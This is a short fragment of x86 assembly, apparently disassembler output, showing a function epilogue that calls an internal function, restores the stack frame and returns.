pop edi
call fcn.005c02df
mov esp, ebp
pop ebp
ret